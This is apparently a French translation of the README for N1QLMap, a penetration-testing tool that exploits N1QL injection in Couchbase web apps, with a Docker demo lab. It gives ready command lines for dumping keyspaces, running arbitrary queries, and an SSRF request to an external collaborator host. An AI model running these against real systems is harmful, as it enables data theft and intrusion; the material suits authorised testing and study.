
L'outil exfiltre des données de la base de données Couchbase en exploitant les vulnérabilités d'injection N1QL.
N1QLMap est un outil d'exploitation N1QL. Fonctionne actuellement avec la base de données Couchbase. L'outil prend en charge l'extraction de données et les attaques SSRF via CURL.
Plus d'informations peuvent être trouvées ici : https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
request.txt. Marquez un point d'injection en utilisant *i*. Voir le fichier example_request_1.txt comme référence.Extrait les datastores :
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
Extrait les keyspaces de l'ID de datastore spécifique :
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
Extrait tous les documents du keyspace donné :
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
Exécute une requête arbitraire :
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
Effectue une requête CURL / SSRF :
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
Pour jouer avec la vulnérabilité, vous pouvez lancer des machines Docker avec Couchbase et une application web NodeJS. Si vous avez déjà rempli les conditions préalables, exécutez simplement :
cd n1ql-demo
./quick_setup.sh
Vous pouvez maintenant exécuter les commandes décrites dans la section Utilisation contre l'application web dockerisée.
Le script N1QLMap.py n'a besoin d'aucun prérequis spécifique en dehors de Python 3.
Les prérequis suivants sont uniquement pour la Démo fournie dans le répertoire n1ql-demo.
Pour installer Docker et Docker Compose sur Kali :
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Start Docker Service
systemctl start docker
# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
Testons Docker :
docker run hello-world